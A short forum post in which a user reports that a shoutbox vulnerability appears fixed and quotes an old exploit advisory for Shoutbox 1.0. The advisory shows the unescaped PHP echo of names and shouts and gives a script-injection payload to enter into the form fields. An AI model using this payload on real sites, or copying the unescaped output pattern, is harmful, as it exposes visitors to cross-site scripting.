I think i may have gotten crunch to finally rethink adding a shoutbox

i've checked one of the exploit codes on the shoutbox and it seems to be fixed code being:
# Vulnerable Code in index.php :
#
# <p><strong><?php echo $names[$i]; ?>:</strong> <?php echo $shouts[$i]; ?></p>
#
########################################
# Shoutbox 1.0 HTML / Xss inejction exploit
# AuTh0r : SKuLL-HacKeR
# H0ME : Sec-Best & SaudiHack & S3curity-Art
# Email :
Angelhoe74@yahoo.com########################################
Vendor:
http://www.plohni.com
exploit:
site.com/Shoutbox/index.php
in the select your name and your text put this code
'">><script>alert('XSS skh')</script>